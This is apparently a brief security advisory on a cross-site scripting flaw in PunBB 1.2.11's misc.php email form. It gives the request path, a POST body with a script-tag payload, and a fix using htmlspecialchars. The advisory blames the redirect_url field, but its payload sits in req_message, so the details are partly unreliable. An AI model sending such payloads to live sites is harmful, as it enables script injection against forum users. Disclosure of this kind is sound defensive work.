PunBB 1.2.11 Cross-Site Scripting

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PunBB 1.2.11 Cross-Site Scripting

File name :- misc.php
Action :- Send Email
Line :- 123



redirect($_POST['redirect_url'], $lang_misc['E-mail sent redirect']);


The $_POST['redirect_url'] = Unfilter Input

Exploit :-

Send POST Request



GET :-
/PunBB/misc.php?email=2
POST :-
form_sent=1&redirect_url=index.php&req_subject=test&req_message=test"><script>alert(1);</script>


Fix :-

Replace The Line With :-



redirect(htmlspecialchars($_POST['redirect_url']), $lang_misc['E-mail sent redirect']);